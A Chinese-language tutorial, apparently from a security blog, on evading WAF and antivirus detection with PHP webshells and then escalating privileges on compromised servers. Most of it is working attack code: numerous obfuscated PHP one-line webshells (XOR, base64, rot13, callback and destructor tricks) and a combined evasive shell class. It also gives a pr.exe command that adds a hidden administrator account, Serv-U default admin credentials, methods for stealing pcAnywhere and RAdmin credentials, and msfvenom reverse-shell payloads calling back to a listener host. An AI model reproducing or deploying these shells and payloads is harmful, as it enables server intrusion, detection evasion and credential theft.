实战中获取Webshell过程会面临各种困难:WAF封堵、AV查杀、权限低等等,本文主要介绍Webshell免杀绕过和提升权限,其中一些方法对于高版本服务器语言和查杀工具已经失效,但文章重在提供基本思路,毕竟攻防博弈,技术动态发展,方法和思路也要随之变化。
(本文以PHP木马为例,在本地搭建Wamp Server进行实验,PHP版本:7.3.1
& 7.0.33
)
首先区分eval和assert:
在PHP中,eval是一个语言构造器而不是一个函数,不能被可变函数调用。语言构造器还包括echo、print、unset、isset、empty、include、require 等,PHP7.1 之后assert也加入了语言构造器的行列,所以也不能用于可变函数,那些将assert用于可变函数的马在PHP7.1之后统统失效。
可变函数即当一个变量后接了圆括号,PHP将寻找与变量值同名的函数并执行,如:
$a = 'assert';
$a($_POST['cmd']);
?>
注意:蚁剑连assert一句话木马要选择base64加密
$a = 'a'.'s'.'s'.'e'.'r'.'t';
@$a($_POST[cmd]);
?>
常见如:substr_replace()、substr()、explode()、strtr()
$a = substr_replace("asxxxx","sert",2);
@$a($_POST[cmd]);
?>
通过\r
、\t
、\n
等特殊字符干扰检查工具的正则匹配规则
$a = $_POST[cmd];
$b = "\n\t";
@eval($b.=$a);
?>
蚁剑访问地址:http://localhost/cmd.php?p=assert
@$_GET[p]($_POST[cmd]);
?>
$arr = array("a"=>"$_POST[p]");
$temp = "${$arr['a']($_POST[cmd])}";
?>
function f1($a){
$a($_POST[cmd]);
}
@f1(assert);
?>
function f2($a){
assert($a);
}
@f2($_POST[cmd]);
?>
class temp{
public $a = "";
function __destruct(){
@eval("$this->a");
}
}
$b = new temp;
$b->a = $_POST[cmd];
?>
常见如:call_user_func_array()、call_user_func()、array_map() 、array_walk() 等
array_map(assert,array($_POST[cmd]));
?>
$a = create_function('', @$_REQUEST[cmd]);
$a();
?>
结合函数使用:
function test($a,$b){
call_user_func($a,$b);
}
test(assert,"$_POST[cmd]");
?>
结合类使用:
class temp{
var $a="";
var $b="";
function __construct($a,$b) {
$this->a=$a;
$this->b=$b;
}
function test() {
call_user_func($this->a,$this->b);
}
}
$c = new temp(assert,"$_POST[cmd]");
$c->test();
?>
$a= ("#"^"B").("M"^">").("4"^"G").("%"^"@").("W"^"%").("U"^"!"); //assert
@$a($_POST[cmd]);
?>
$a = base64_decode(base64_decode("WVhOelpYSjA="));
@$a($_POST[cmd]);
?>
$a = str_rot13('nffreg');
@$a($_POST['cmd']);
?>
实战中往往要综合以上多种方法,根据具体环境见招拆招,方法和思路都不能拘泥于固定模式。
class cHu1{
function L0jb(){
$W6kc = "\x23" ^ "\x42";
$j4MC = "\x4d" ^ "\x3e";
$L7f3 = "\x34" ^ "\x47";
$uRe1 = "\x25" ^ "\x40";
$px96 = "\x57" ^ "\x25";
$HYHu = "\x55" ^ "\x21";
$vBd4 = $W6kc.$j4MC.$L7f3.$uRe1.$px96.$HYHu;
return $vBd4;
}
function __destruct() {
$B9vQ = $this->L0jb();
@$B9vQ($this->xp6S);
}
}
$pV5W = new cHu1();
$agg5 = array("_","CB","FG");//cbfg
$Jk29 = $agg5[0].str_rot13($agg5[1]).str_rot13($agg5[2]);
@$pV5W->xp6S = isset($_GET['id']) ? base64_decode(@$$Jk29['ht']) : @$$Jk29['ht'];
?>
Webshell的权限取决于运行Web服务的账户身份,不同操作系统运行服务的默认策略有所不同:
Windows中,运行服务的内置账户有三种角色(可以用services.msc
查看):Local System、Network Service和Local Service,其中Local System的权限最高,可以访问所有的系统资源,如果Web服务以Local System运行,那么我们获取的Webshell就是SYSTEM权限。
提权目标:users>>administrator>>system
Linux中,服务一般由专门设置的账户运行(可在/etc/
目录下的服务配置文件中查看),除root有最高权限外,其他账户一般都有权限限制,所以会发现在Linux中获取的Webshell权限往往都比较低,需要进一步提权。
提权目标:users>>root
通过获取的Webshell进一步提权拿下服务器,无非就是两条思路:
一是查找信息,主要是存有账户密码的文件,如网站配置文件、sam/passwd文件、密码记录文件等,找到明文密码或HASH值,而后破解密码或HASH传递进一步利用
二是上传工具/木马,主要是和具体环境相关的漏洞利用工具、提权工具、dump密码工具或是木马,然后利用工具或木马进一步操作进行提权
下面总结一些在拿下Webshell的基础上进行提权的方法,其中涉及到十分老旧版本软件的部分并没有配置环境去验证,主要是记录下一般思路。
利用漏洞:MS09-012
漏洞描述:由于RPCSS服务没有正确地隔离NetworkService或LocalService帐号下运行的进程,使得攻击者可以利用令牌劫持的方式获得权限提升,从而完全控制受影响的系统
影响系统:Windows XP/Server 2003
漏洞补丁:KB952004、KB956572
利用方法:将漏洞利用工具pr.exe上传到有执行权限的目录,如果没有cmd执行环境,就把cmd.exe也一并上传,设置好终端的执行路径,例如在菜刀终端中用命令setp "c:\inetpub\www\cmd.exe"
,或者在Webshell界面设置,然后通过Webshell执行命令新建账户,如:C:\inetpub\wwwroot\pr.exe "net user test$ P@ssw0rd /add & net localgroup administrators test$ /add"
原理及用法与PR相同
软件描述:FTP服务软件,支持跨平台
漏洞描述:使用本地默认管理端口:43958,以默认管理员:LocalAdministrator登陆新建域和用户来执行命令,默认密码:#l@$ak#.lk;0@P,该用户集成在Serv-U内部,可以以Guest权限进行连接管理
利用方法:如果目标服务器开启了43958端口,则可以尝试用带有Serv-U提权功能的Webshell大马进行提权
软件描述:远程控制软件,C/S架构,只支持Windows平台
漏洞描述:PcAnywhere建立服务端后,默认会在"C:\ProgramData\Symantec\pcAnywhere\Hosts"目录中生成配置文件"xxx.cif",文件中保存着加密的账号密码,较低权限用户即可读取
利用方法:利用Webshell下载配置文件,用解码工具查看账号密码,然后在本地用PCAnywhere通过账号密码连接目标服务器
软件描述:远程控制软件,C/S架构,分为服务端(RAdmin Server)和客户端(RAdmin Viewer),只支持Windows平台
漏洞描述:账户哈希保存在注册表项HKLM\SYSTEM\RAdminv2.0\ServerParameters\Parameter
,端口值保存在注册表项HKLM\SYSTEM\RAdminv2.0\ServerParameters\Port
(默认4899),较低权限用户即可读取
利用方法:通过Webshell大马读取注册表键值,然后通过RAdmin工具或破译HASH密码,使得攻击者可以用本地RAdmin Viewer远程连接,或者直接利用大马中RAdmin提权功能
利用msfvenom
生成木马:
# 生成windows x64平台meterpreter马
msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.11.151 LPORT=4444 -f exe -o meter64.exe
# 生成windows x86平台meterpreter马
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=10.10.11.151 LPORT=4444 -f exe -o meter32.exe
MSF主机监听端口:
# 接windows x64平台meterpreter马
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.11.151
set LPORT 4444
run
利用webshell将生成的msf木马上传到目标服务器并执行,或者通过上传可执行命令的木马去执行,将shell反弹到MSF主机上进行本地提权。基于已经获得的session,使用post/multi/recon/local_exploit_suggester
模块(可以通过search suggest
查找)可以很方便检测目标主机的本地提权漏洞,配置session然后运行,如下所示,该模块已列举出检测出的本地提权漏洞:
接下来就是对提权漏洞利用模块逐一尝试,成功提权后会重新开启一个session。
注意:通过新建管理员账户提权,需要反弹shell,有时虽然将meterpreter成功提权至SYSTEM权限,但是不能成功反弹shell,或者反弹的shell权限仍是Network Service,这时需要利用migrate
命令将session的pid迁移至高权限的其他进程,如:lsass.exe、winlogon.exe,然后就可以成功反弹shell了。